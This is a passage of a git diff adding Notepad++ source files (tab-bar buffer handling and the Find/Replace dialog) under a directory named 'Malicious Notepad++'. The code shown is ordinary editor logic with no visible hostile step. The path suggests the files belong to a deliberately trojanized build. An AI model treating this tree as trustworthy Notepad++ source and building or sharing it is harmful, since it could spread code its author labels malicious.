+#define _WIN32_IE 0x0600 +#endif //_WIN32_IE + + +bool DocTabView::_hideTabBarStatus = false; + +void DocTabView::addBuffer(BufferID buffer) +{ + if (buffer == BUFFER_INVALID) //valid only + return; + if (this->getIndexByBuffer(buffer) != -1) //no duplicates + return; + Buffer * buf = MainFileManager->getBufferByID(buffer); + TCITEM tie; + tie.mask = TCIF_TEXT | TCIF_IMAGE | TCIF_PARAM; + + int index = -1; + if (_hasImgLst) + index = 0; + tie.iImage = index; + tie.pszText = const_cast(buf->getFileName()); + tie.lParam = reinterpret_cast(buffer); + ::SendMessage(_hSelf, TCM_INSERTITEM, _nbItem++, reinterpret_cast(&tie)); + bufferUpdated(buf, BufferChangeMask); + + ::SendMessage(_hParent, WM_SIZE, 0, 0); +} + + +void DocTabView::closeBuffer(BufferID buffer) +{ + int indexToClose = getIndexByBuffer(buffer); + deletItemAt((size_t)indexToClose); + ::SendMessage(_hParent, WM_SIZE, 0, 0); +} + + +bool DocTabView::activateBuffer(BufferID buffer) +{ + int indexToActivate = getIndexByBuffer(buffer); + if (indexToActivate == -1) + return false; //cannot activate + + activateAt(indexToActivate); + return true; +} + + +BufferID DocTabView::activeBuffer() +{ + int index = getCurrentTabIndex(); + return static_cast(getBufferByIndex(index)); +} + + +BufferID DocTabView::findBufferByName(const TCHAR * fullfilename) //-1 if not found, something else otherwise +{ + TCITEM tie; + tie.lParam = -1; + tie.mask = TCIF_PARAM; + for(size_t i = 0; i < _nbItem; ++i) + { + ::SendMessage(_hSelf, TCM_GETITEM, i, reinterpret_cast(&tie)); + BufferID id = reinterpret_cast(tie.lParam); + Buffer * buf = MainFileManager->getBufferByID(id); + if (!lstrcmp(fullfilename, buf->getFullPathName())) + { + return id; + } + } + return BUFFER_INVALID; +} + + +int DocTabView::getIndexByBuffer(BufferID id) +{ + TCITEM tie; + tie.lParam = -1; + tie.mask = TCIF_PARAM; + for(size_t i = 0; i < _nbItem; ++i) + { + ::SendMessage(_hSelf, TCM_GETITEM, i, reinterpret_cast(&tie)); + if (reinterpret_cast(tie.lParam) == id) + return static_cast(i); + } + return -1; +} + + +BufferID DocTabView::getBufferByIndex(size_t index) +{ + TCITEM tie; + tie.lParam = -1; + tie.mask = TCIF_PARAM; + ::SendMessage(_hSelf, TCM_GETITEM, index, reinterpret_cast(&tie)); + + return reinterpret_cast(tie.lParam); +} + + +void DocTabView::bufferUpdated(Buffer * buffer, int mask) +{ + int index = getIndexByBuffer(buffer->getID()); + if (index == -1) + return; + + TCITEM tie; + tie.lParam = -1; + tie.mask = 0; + + if (mask & BufferChangeReadonly || mask & BufferChangeDirty) + { + tie.mask |= TCIF_IMAGE; + tie.iImage = buffer->isDirty()?UNSAVED_IMG_INDEX:SAVED_IMG_INDEX; + if (buffer->isMonitoringOn()) + { + tie.iImage = MONITORING_IMG_INDEX; + } + else if (buffer->isReadOnly()) + { + tie.iImage = REDONLY_IMG_INDEX; + } + } + + //We must make space for the added ampersand characters. + TCHAR encodedLabel[2 * MAX_PATH]; + + if (mask & BufferChangeFilename) + { + tie.mask |= TCIF_TEXT; + tie.pszText = const_cast(encodedLabel); + + { + const TCHAR* in = buffer->getFileName(); + TCHAR* out = encodedLabel; + + //This code will read in one character at a time and duplicate every first ampersand(&). + //ex. If input is "test & test && test &&&" then output will be "test && test &&& test &&&&". + //Tab's caption must be encoded like this because otherwise tab control would make tab too small or too big for the text. + + while (*in != 0) + if (*in == '&') + { + *out++ = '&'; + *out++ = '&'; + while (*(++in) == '&') + *out++ = '&'; + } + else + *out++ = *in++; + *out = '\0'; + } + } + + ::SendMessage(_hSelf, TCM_SETITEM, index, reinterpret_cast(&tie)); + + // send WM_SIZE only when change tab + // It is needed while a tab is closed (so tab changed) in multi-line tab mode + if (mask & BufferChangeRecentTag) + ::SendMessage(_hParent, WM_SIZE, 0, 0); +} + + +void DocTabView::setBuffer(size_t index, BufferID id) +{ + if (index < 0 || index >= _nbItem) + return; + + TCITEM tie; + tie.lParam = reinterpret_cast(id); + tie.mask = TCIF_PARAM; + ::SendMessage(_hSelf, TCM_SETITEM, index, reinterpret_cast(&tie)); + + bufferUpdated(MainFileManager->getBufferByID(id), BufferChangeMask); //update tab, everything has changed + + ::SendMessage(_hParent, WM_SIZE, 0, 0); +} + + +void DocTabView::reSizeTo(RECT & rc) +{ + int borderWidth = ((NppParameters::getInstance())->getSVP())._borderWidth; + if (_hideTabBarStatus) + { + RECT rcTmp = rc; + TabBar::reSizeTo(rcTmp); + _pView->reSizeTo(rc); + } + else + { + TabBar::reSizeTo(rc); + rc.left += borderWidth; + rc.right -= borderWidth * 2; + rc.top += borderWidth; + rc.bottom -= (borderWidth * 2); + _pView->reSizeTo(rc); + } +} + diff --git a/Malicious Notepad++/src/ScitillaComponent/DocTabView.h b/Malicious Notepad++/src/ScitillaComponent/DocTabView.h new file mode 100644 index 0000000..c73f6f6 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/DocTabView.h @@ -0,0 +1,90 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include "TabBar.h" +#include "Buffer.h" + +const int SAVED_IMG_INDEX = 0; +const int UNSAVED_IMG_INDEX = 1; +const int REDONLY_IMG_INDEX = 2; +const int MONITORING_IMG_INDEX = 3; + +class DocTabView : public TabBarPlus +{ +public : + DocTabView():TabBarPlus(), _pView(NULL) {}; + virtual ~DocTabView(){}; + + virtual void destroy() { + TabBarPlus::destroy(); + }; + + void init(HINSTANCE hInst, HWND parent, ScintillaEditView * pView, IconList *pIconList = NULL) + { + TabBarPlus::init(hInst, parent); + _pView = pView; + if (pIconList) + TabBar::setImageList(pIconList->getHandle()); + return; + }; + + void addBuffer(BufferID buffer); + void closeBuffer(BufferID buffer); + void bufferUpdated(Buffer * buffer, int mask); + + bool activateBuffer(BufferID buffer); + + BufferID activeBuffer(); + BufferID findBufferByName(const TCHAR * fullfilename); //-1 if not found, something else otherwise + + int getIndexByBuffer(BufferID id); + BufferID getBufferByIndex(size_t index); + + void setBuffer(size_t index, BufferID id); + + static bool setHideTabBarStatus(bool hideOrNot) { + bool temp = _hideTabBarStatus; + _hideTabBarStatus = hideOrNot; + return temp; + }; + + static bool getHideTabBarStatus() { + return _hideTabBarStatus; + }; + + virtual void reSizeTo(RECT & rc); + + const ScintillaEditView* getScintillaEditView() const { + return _pView; + }; + +private : + ScintillaEditView *_pView; + static bool _hideTabBarStatus; +}; diff --git a/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.cpp b/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.cpp new file mode 100644 index 0000000..29655a5 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.cpp @@ -0,0 +1,3714 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include "FindReplaceDlg.h" +#include "ScintillaEditView.h" +#include "Notepad_plus_msgs.h" +#include "UniConversion.h" +#include "LongRunningOperation.h" +#include "localization.h" + +using namespace std; + +FindOption * FindReplaceDlg::_env; +FindOption FindReplaceDlg::_options; + +#define SHIFTED 0x8000 + +void addText2Combo(const TCHAR * txt2add, HWND hCombo) +{ + if (!hCombo) return; + if (!lstrcmp(txt2add, TEXT(""))) return; + + auto i = ::SendMessage(hCombo, CB_FINDSTRINGEXACT, static_cast(-1), reinterpret_cast(txt2add)); + if (i != CB_ERR) // found + { + ::SendMessage(hCombo, CB_DELETESTRING, i, 0); + } + + i = ::SendMessage(hCombo, CB_INSERTSTRING, 0, reinterpret_cast(txt2add)); + ::SendMessage(hCombo, CB_SETCURSEL, i, 0); +}; + +generic_string getTextFromCombo(HWND hCombo) +{ + TCHAR str[FINDREPLACE_MAXLENGTH]; + ::SendMessage(hCombo, WM_GETTEXT, FINDREPLACE_MAXLENGTH - 1, reinterpret_cast(str)); + return generic_string(str); +}; + +int Searching::convertExtendedToString(const TCHAR * query, TCHAR * result, int length) +{ //query may equal to result, since it always gets smaller + int i = 0, j = 0; + int charLeft = length; + TCHAR current; + while (i < length) + { //because the backslash escape quences always reduce the size of the generic_string, no overflow checks have to be made for target, assuming parameters are correct + current = query[i]; + --charLeft; + if (current == '\\' && charLeft) + { //possible escape sequence + ++i; + --charLeft; + current = query[i]; + switch(current) + { + case 'r': + result[j] = '\r'; + break; + case 'n': + result[j] = '\n'; + break; + case '0': + result[j] = '\0'; + break; + case 't': + result[j] = '\t'; + break; + case '\\': + result[j] = '\\'; + break; + case 'b': + case 'd': + case 'o': + case 'x': + case 'u': + { + int size = 0, base = 0; + if (current == 'b') + { //11111111 + size = 8, base = 2; + } + else if (current == 'o') + { //377 + size = 3, base = 8; + } + else if (current == 'd') + { //255 + size = 3, base = 10; + } + else if (current == 'x') + { //0xFF + size = 2, base = 16; + } + else if (current == 'u') + { //0xCDCD + size = 4, base = 16; + } + + if (charLeft >= size) + { + int res = 0; + if (Searching::readBase(query+(i+1), &res, base, size)) + { + result[j] = static_cast(res); + i += size; + break; + } + } + //not enough chars to make parameter, use default method as fallback + } + + default: + { //unknown sequence, treat as regular text + result[j] = '\\'; + ++j; + result[j] = current; + break; + } + } + } + else + { + result[j] = query[i]; + } + ++i; + ++j; + } + result[j] = 0; + return j; +} + +bool Searching::readBase(const TCHAR * str, int * value, int base, int size) { + int i = 0, temp = 0; + *value = 0; + TCHAR max = '0' + static_cast(base) - 1; + TCHAR current; + while(i < size) { + current = str[i]; + if (current >= 'A') + { + current &= 0xdf; + current -= ('A' - '0' - 10); + } + else if (current > '9') + return false; + + if (current >= '0' && current <= max) { + temp *= base; + temp += (current - '0'); + } else { + return false; + } + ++i; + } + *value = temp; + return true; +} + +void Searching::displaySectionCentered(int posStart, int posEnd, ScintillaEditView * pEditView, bool isDownwards) +{ + // to make sure the found result is visible + //When searching up, the beginning of the (possible multiline) result is important, when scrolling down the end + int testPos = isDownwards ? posEnd : posStart; + + pEditView->execute(SCI_SETCURRENTPOS, testPos); + auto currentlineNumberDoc = pEditView->execute(SCI_LINEFROMPOSITION, testPos); + auto currentlineNumberVis = pEditView->execute(SCI_VISIBLEFROMDOCLINE, currentlineNumberDoc); + pEditView->execute(SCI_ENSUREVISIBLE, currentlineNumberDoc); // make sure target line is unfolded + + auto firstVisibleLineVis = pEditView->execute(SCI_GETFIRSTVISIBLELINE); + auto linesVisible = pEditView->execute(SCI_LINESONSCREEN) - 1; //-1 for the scrollbar + auto lastVisibleLineVis = linesVisible + firstVisibleLineVis; + + //if out of view vertically, scroll line into (center of) view + int linesToScroll = 0; + if (currentlineNumberVis < firstVisibleLineVis) + { + linesToScroll = static_cast(currentlineNumberVis - firstVisibleLineVis); + //use center + linesToScroll -= static_cast(linesVisible/2); + } + else if (currentlineNumberVis > lastVisibleLineVis) + { + linesToScroll = static_cast(currentlineNumberVis - lastVisibleLineVis); + //use center + linesToScroll += static_cast(linesVisible/2); + } + pEditView->scroll(0, linesToScroll); + + //Make sure the caret is visible, scroll horizontally (this will also fix wrapping problems) + pEditView->execute(SCI_GOTOPOS, posStart); + pEditView->execute(SCI_GOTOPOS, posEnd); + + pEditView->execute(SCI_SETANCHOR, posStart); +} + +LONG_PTR FindReplaceDlg::originalFinderProc = NULL; + +// important : to activate all styles +const int STYLING_MASK = 255; + +FindReplaceDlg::~FindReplaceDlg() +{ + _tab.destroy(); + if (_pFinder) + delete _pFinder; + for (int n = static_cast(_findersOfFinder.size()) - 1; n >= 0; n--) + { + delete _findersOfFinder[n]; + _findersOfFinder.erase(_findersOfFinder.begin() + n); + } + + if (_shiftTrickUpTip) + ::DestroyWindow(_shiftTrickUpTip); + + delete[] _uniFileName; +} + +void FindReplaceDlg::create(int dialogID, bool isRTL, bool msgDestParent) +{ + StaticDialog::create(dialogID, isRTL, msgDestParent); + fillFindHistory(); + _currentStatus = REPLACE_DLG; + initOptionsFromDlg(); + + _statusBar.init(GetModuleHandle(NULL), _hSelf, 0); + _statusBar.display(); + + RECT rect; + //::GetWindowRect(_hSelf, &rect); + getClientRect(rect); + _tab.init(_hInst, _hSelf, false, true); + int tabDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(13); + _tab.setFont(TEXT("Tahoma"), tabDpiDynamicalHeight); + + const TCHAR *find = TEXT("Find"); + const TCHAR *replace = TEXT("Replace"); + const TCHAR *findInFiles = TEXT("Find in Files"); + const TCHAR *mark = TEXT("Mark"); + + _tab.insertAtEnd(find); + _tab.insertAtEnd(replace); + _tab.insertAtEnd(findInFiles); + _tab.insertAtEnd(mark); + + _tab.reSizeTo(rect); + _tab.display(); + + _initialClientWidth = rect.right - rect.left; + + //fill min dialog size info + this->getWindowRect(_initialWindowRect); + _initialWindowRect.right = _initialWindowRect.right - _initialWindowRect.left; + _initialWindowRect.left = 0; + _initialWindowRect.bottom = _initialWindowRect.bottom - _initialWindowRect.top; + _initialWindowRect.top = 0; + + ETDTProc enableDlgTheme = (ETDTProc)::SendMessage(_hParent, NPPM_GETENABLETHEMETEXTUREFUNC, 0, 0); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + + goToCenter(); +} + +void FindReplaceDlg::fillFindHistory() +{ + NppParameters *nppParams = NppParameters::getInstance(); + FindHistory & findHistory = nppParams->getFindHistory(); + + fillComboHistory(IDFINDWHAT, findHistory._findHistoryFinds); + fillComboHistory(IDREPLACEWITH, findHistory._findHistoryReplaces); + fillComboHistory(IDD_FINDINFILES_FILTERS_COMBO, findHistory._findHistoryFilters); + fillComboHistory(IDD_FINDINFILES_DIR_COMBO, findHistory._findHistoryPaths); + + ::SendDlgItemMessage(_hSelf, IDWRAP, BM_SETCHECK, findHistory._isWrap, 0); + ::SendDlgItemMessage(_hSelf, IDWHOLEWORD, BM_SETCHECK, findHistory._isMatchWord, 0); + ::SendDlgItemMessage(_hSelf, IDMATCHCASE, BM_SETCHECK, findHistory._isMatchCase, 0); + ::SendDlgItemMessage(_hSelf, IDC_BACKWARDDIRECTION, BM_SETCHECK, !findHistory._isDirectionDown, 0); + + ::SendDlgItemMessage(_hSelf, IDD_FINDINFILES_INHIDDENDIR_CHECK, BM_SETCHECK, findHistory._isFifInHiddenFolder, 0); + ::SendDlgItemMessage(_hSelf, IDD_FINDINFILES_RECURSIVE_CHECK, BM_SETCHECK, findHistory._isFifRecuisive, 0); + ::SendDlgItemMessage(_hSelf, IDD_FINDINFILES_FOLDERFOLLOWSDOC_CHECK, BM_SETCHECK, findHistory._isFolderFollowDoc, 0); + + ::SendDlgItemMessage(_hSelf, IDNORMAL, BM_SETCHECK, findHistory._searchMode == FindHistory::normal, 0); + ::SendDlgItemMessage(_hSelf, IDEXTENDED, BM_SETCHECK, findHistory._searchMode == FindHistory::extended, 0); + ::SendDlgItemMessage(_hSelf, IDREGEXP, BM_SETCHECK, findHistory._searchMode == FindHistory::regExpr, 0); + ::SendDlgItemMessage(_hSelf, IDREDOTMATCHNL, BM_SETCHECK, findHistory._dotMatchesNewline, 0); + if (findHistory._searchMode == FindHistory::regExpr) + { + //regex doesn't allow wholeword + ::SendDlgItemMessage(_hSelf, IDWHOLEWORD, BM_SETCHECK, BST_UNCHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDWHOLEWORD), (BOOL)false); + + //regex upward search is disable in v6.3 due to a regression + //::EnableWindow(::GetDlgItem(_hSelf, IDC_FINDPREV), (BOOL)false); + + // If the search mode from history is regExp then enable the checkbox (. matches newline) + ::EnableWindow(GetDlgItem(_hSelf, IDREDOTMATCHNL), true); + } + + if (nppParams->isTransparentAvailable()) + { + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_CHECK), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_GRPBOX), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_LOSSFOCUS_RADIO), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_ALWAYS_RADIO), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_PERCENTAGE_SLIDER), SW_SHOW); + + ::SendDlgItemMessage(_hSelf, IDC_PERCENTAGE_SLIDER, TBM_SETRANGE, FALSE, MAKELONG(20, 200)); + ::SendDlgItemMessage(_hSelf, IDC_PERCENTAGE_SLIDER, TBM_SETPOS, TRUE, findHistory._transparency); + + if (findHistory._transparencyMode == FindHistory::none) + { + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_GRPBOX), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_LOSSFOCUS_RADIO), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_ALWAYS_RADIO), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_PERCENTAGE_SLIDER), FALSE); + } + else + { + ::SendDlgItemMessage(_hSelf, IDC_TRANSPARENT_CHECK, BM_SETCHECK, TRUE, 0); + + int id; + if (findHistory._transparencyMode == FindHistory::onLossingFocus) + { + id = IDC_TRANSPARENT_LOSSFOCUS_RADIO; + } + else + { + id = IDC_TRANSPARENT_ALWAYS_RADIO; + (NppParameters::getInstance())->SetTransparent(_hSelf, findHistory._transparency); + + } + ::SendDlgItemMessage(_hSelf, id, BM_SETCHECK, TRUE, 0); + } + } +} + +void FindReplaceDlg::fillComboHistory(int id, const vector & strings) +{ + HWND hCombo = ::GetDlgItem(_hSelf, id); + + for (vector::const_reverse_iterator i = strings.rbegin() ; i != strings.rend(); ++i) + { + addText2Combo(i->c_str(), hCombo); + } + + //empty string is not added to CB items, so we need to set it manually + if (!strings.empty() && strings.begin()->empty()) + { + SetWindowText(hCombo, _T("")); + return; + } + + ::SendMessage(hCombo, CB_SETCURSEL, 0, 0); // select first item +} + + +void FindReplaceDlg::saveFindHistory() +{ + if (! isCreated()) return; + FindHistory& findHistory = (NppParameters::getInstance())->getFindHistory(); + + saveComboHistory(IDD_FINDINFILES_DIR_COMBO, findHistory._nbMaxFindHistoryPath, findHistory._findHistoryPaths, false); + saveComboHistory(IDD_FINDINFILES_FILTERS_COMBO, findHistory._nbMaxFindHistoryFilter, findHistory._findHistoryFilters, true); + saveComboHistory(IDFINDWHAT, findHistory._nbMaxFindHistoryFind, findHistory._findHistoryFinds, false); + saveComboHistory(IDREPLACEWITH, findHistory._nbMaxFindHistoryReplace, findHistory._findHistoryReplaces, true); +} + +int FindReplaceDlg::saveComboHistory(int id, int maxcount, vector & strings, bool saveEmpty) +{ + TCHAR text[FINDREPLACE_MAXLENGTH]; + HWND hCombo = ::GetDlgItem(_hSelf, id); + int count = static_cast(::SendMessage(hCombo, CB_GETCOUNT, 0, 0)); + count = min(count, maxcount); + + if (count == CB_ERR) return 0; + + if (count) + strings.clear(); + + if (saveEmpty) + { + if (::GetWindowTextLength(hCombo) == 0) + { + strings.push_back(generic_string()); + } + } + + for (int i = 0 ; i < count ; ++i) + { + ::SendMessage(hCombo, CB_GETLBTEXT, i, reinterpret_cast(text)); + strings.push_back(generic_string(text)); + } + return count; +} + +void FindReplaceDlg::updateCombos() +{ + updateCombo(IDREPLACEWITH); + updateCombo(IDFINDWHAT); +} + +void FindReplaceDlg::updateCombo(int comboID) +{ + HWND hCombo = ::GetDlgItem(_hSelf, comboID); + addText2Combo(getTextFromCombo(hCombo).c_str(), hCombo); +} + +FoundInfo Finder::EmptyFoundInfo(0, 0, 0, TEXT("")); +SearchResultMarking Finder::EmptySearchResultMarking; + +bool Finder::notify(SCNotification *notification) +{ + static bool isDoubleClicked = false; + + switch (notification->nmhdr.code) + { + case SCN_MARGINCLICK: + if (notification->margin == ScintillaEditView::_SC_MARGE_FOLDER) + { + _scintView.marginClick(notification->position, notification->modifiers); + } + break; + + case SCN_DOUBLECLICK: + { + // remove selection from the finder + isDoubleClicked = true; + int pos = notification->position; + if (pos == INVALID_POSITION) + pos = static_cast(_scintView.execute(SCI_GETLINEENDPOSITION, notification->line)); + _scintView.execute(SCI_SETSEL, pos, pos); + + gotoFoundLine(); + } + break; + + case SCN_PAINTED : + if (isDoubleClicked) + { + (*_ppEditView)->getFocus(); + isDoubleClicked = false; + } + break; + } + return false; +} + + +void Finder::gotoFoundLine() +{ + auto currentPos = _scintView.execute(SCI_GETCURRENTPOS); + auto lno = _scintView.execute(SCI_LINEFROMPOSITION, currentPos); + auto start = _scintView.execute(SCI_POSITIONFROMLINE, lno); + auto end = _scintView.execute(SCI_GETLINEENDPOSITION, lno); + + if (start + 2 >= end) return; // avoid empty lines + + if (_scintView.execute(SCI_GETFOLDLEVEL, lno) & SC_FOLDLEVELHEADERFLAG) + { + _scintView.execute(SCI_TOGGLEFOLD, lno); + return; + } + + const FoundInfo fInfo = *(_pMainFoundInfos->begin() + lno); + + // Switch to another document + ::SendMessage(::GetParent(_hParent), WM_DOOPEN, 0, reinterpret_cast(fInfo._fullPath.c_str())); + Searching::displaySectionCentered(fInfo._start, fInfo._end, *_ppEditView); + + // Then we colourise the double clicked line + setFinderStyle(); + + _scintView.execute(SCI_STYLESETEOLFILLED, SCE_SEARCHRESULT_HIGHLIGHT_LINE, true); + _scintView.execute(SCI_STARTSTYLING, start, STYLING_MASK); + _scintView.execute(SCI_SETSTYLING, end - start + 2, SCE_SEARCHRESULT_HIGHLIGHT_LINE); + _scintView.execute(SCI_COLOURISE, start, end + 1); +} + +void Finder::deleteResult() +{ + auto currentPos = _scintView.execute(SCI_GETCURRENTPOS); // yniq - add handling deletion of multiple lines? + + auto lno = _scintView.execute(SCI_LINEFROMPOSITION, currentPos); + auto start = _scintView.execute(SCI_POSITIONFROMLINE, lno); + auto end = _scintView.execute(SCI_GETLINEENDPOSITION, lno); + if (start + 2 >= end) return; // avoid empty lines + + _scintView.setLexer(SCLEX_SEARCHRESULT, L_SEARCHRESULT, 0); // Restore searchResult lexer in case the lexer was changed to SCLEX_NULL in GotoFoundLine() + + if (_scintView.execute(SCI_GETFOLDLEVEL, lno) & SC_FOLDLEVELHEADERFLAG) // delete a folder + { + auto endline = _scintView.execute(SCI_GETLASTCHILD, lno, -1) + 1; + assert((size_t) endline <= _pMainFoundInfos->size()); + + _pMainFoundInfos->erase(_pMainFoundInfos->begin() + lno, _pMainFoundInfos->begin() + endline); // remove found info + _pMainMarkings->erase(_pMainMarkings->begin() + lno, _pMainMarkings->begin() + endline); + + auto end2 = _scintView.execute(SCI_POSITIONFROMLINE, endline); + _scintView.execute(SCI_SETSEL, start, end2); + setFinderReadOnly(false); + _scintView.execute(SCI_CLEAR); + setFinderReadOnly(true); + } + else // delete one line + { + assert((size_t) lno < _pMainFoundInfos->size()); + + _pMainFoundInfos->erase(_pMainFoundInfos->begin() + lno); // remove found info + _pMainMarkings->erase(_pMainMarkings->begin() + lno); + + setFinderReadOnly(false); + _scintView.execute(SCI_LINEDELETE); + setFinderReadOnly(true); + } + _markingsStruct._length = static_cast(_pMainMarkings->size()); + + assert(_pMainFoundInfos->size() == _pMainMarkings->size()); + assert(size_t(_scintView.execute(SCI_GETLINECOUNT)) == _pMainFoundInfos->size() + 1); +} + +vector Finder::getResultFilePaths() const +{ + vector paths; + size_t len = _pMainFoundInfos->size(); + for (size_t i = 0; i < len; ++i) + { + // make sure that path is not already in + generic_string & path2add = (*_pMainFoundInfos)[i]._fullPath; + bool found = path2add.empty(); + for (size_t j = 0; j < paths.size() && not found; ++j) + { + if (paths[j] == path2add) + found = true; + + } + if (not found) + paths.push_back(path2add); + } + return paths; +} + +bool Finder::canFind(const TCHAR *fileName, size_t lineNumber) const +{ + size_t len = _pMainFoundInfos->size(); + for (size_t i = 0; i < len; ++i) + { + if ((*_pMainFoundInfos)[i]._fullPath == fileName) + { + if (lineNumber == (*_pMainFoundInfos)[i]._lineNumber) + return true; + } + } + return false; +} + +void Finder::gotoNextFoundResult(int direction) +{ + int increment = direction < 0 ? -1 : 1; + auto currentPos = _scintView.execute(SCI_GETCURRENTPOS); + auto lno = _scintView.execute(SCI_LINEFROMPOSITION, currentPos); + auto total_lines = _scintView.execute(SCI_GETLINECOUNT); + if (total_lines <= 1) return; + + if (lno == total_lines - 1) lno--; // last line doesn't belong to any search, use last search + + auto init_lno = lno; + auto max_lno = _scintView.execute(SCI_GETLASTCHILD, lno, searchHeaderLevel); + + assert(max_lno <= total_lines - 2); + + // get the line number of the current search (searchHeaderLevel) + int level = _scintView.execute(SCI_GETFOLDLEVEL, lno) & SC_FOLDLEVELNUMBERMASK; + auto min_lno = lno; + while (level-- >= fileHeaderLevel) + { + min_lno = _scintView.execute(SCI_GETFOLDPARENT, min_lno); + assert(min_lno >= 0); + } + + if (min_lno < 0) min_lno = lno; // when lno is a search header line + + assert(min_lno <= max_lno); + + lno += increment; + + if (lno > max_lno) lno = min_lno; + else if (lno < min_lno) lno = max_lno; + + while (_scintView.execute(SCI_GETFOLDLEVEL, lno) & SC_FOLDLEVELHEADERFLAG) + { + lno += increment; + if (lno > max_lno) lno = min_lno; + else if (lno < min_lno) lno = max_lno; + if (lno == init_lno) break; + } + + if ((_scintView.execute(SCI_GETFOLDLEVEL, lno) & SC_FOLDLEVELHEADERFLAG) == 0) + { + auto start = _scintView.execute(SCI_POSITIONFROMLINE, lno); + _scintView.execute(SCI_SETSEL, start, start); + _scintView.execute(SCI_ENSUREVISIBLE, lno); + _scintView.execute(SCI_SCROLLCARET); + + gotoFoundLine(); + } +} + +void FindInFinderDlg::initFromOptions() +{ + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT_FIFOLDER); + addText2Combo(_options._str2Search.c_str(), hFindCombo); + + ::SendDlgItemMessage(_hSelf, IDC_MATCHLINENUM_CHECK_FIFOLDER, BM_SETCHECK, _options._isMatchLineNumber ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDWHOLEWORD_FIFOLDER, BM_SETCHECK, _options._isWholeWord ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDMATCHCASE_FIFOLDER, BM_SETCHECK, _options._isMatchCase ? BST_CHECKED : BST_UNCHECKED, 0); + + ::SendDlgItemMessage(_hSelf, IDNORMAL_FIFOLDER, BM_SETCHECK, _options._searchType == FindNormal ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDEXTENDED_FIFOLDER, BM_SETCHECK, _options._searchType == FindExtended ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDREGEXP_FIFOLDER, BM_SETCHECK, _options._searchType == FindRegex ? BST_CHECKED : BST_UNCHECKED, 0); + + ::SendDlgItemMessage(_hSelf, IDREDOTMATCHNL_FIFOLDER, BM_SETCHECK, _options._dotMatchesNewline ? BST_CHECKED : BST_UNCHECKED, 0); +} + +void FindInFinderDlg::writeOptions() +{ + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT_FIFOLDER); + _options._str2Search = getTextFromCombo(hFindCombo); + _options._isMatchLineNumber = isCheckedOrNot(IDC_MATCHLINENUM_CHECK_FIFOLDER); + _options._isWholeWord = isCheckedOrNot(IDWHOLEWORD_FIFOLDER); + _options._isMatchCase = isCheckedOrNot(IDMATCHCASE_FIFOLDER); + _options._searchType = isCheckedOrNot(IDREGEXP_FIFOLDER) ? FindRegex : isCheckedOrNot(IDEXTENDED_FIFOLDER) ? FindExtended : FindNormal; + + _options._dotMatchesNewline = isCheckedOrNot(IDREDOTMATCHNL_FIFOLDER); +} + +INT_PTR CALLBACK FindInFinderDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM /*lParam*/) +{ + switch (message) + { + case WM_INITDIALOG: + initFromOptions(); + return TRUE; + + case WM_COMMAND: + { + switch (LOWORD(wParam)) + { + case IDCANCEL: + ::EndDialog(_hSelf, -1); + return TRUE; + + case IDOK: + writeOptions(); + ::EndDialog(_hSelf, -1); + FindersInfo findersInfo; + findersInfo._pSourceFinder = _pFinder2Search; + findersInfo._findOption = _options; + ::SendMessage(_hParent, WM_FINDALL_INCURRENTFINDER, 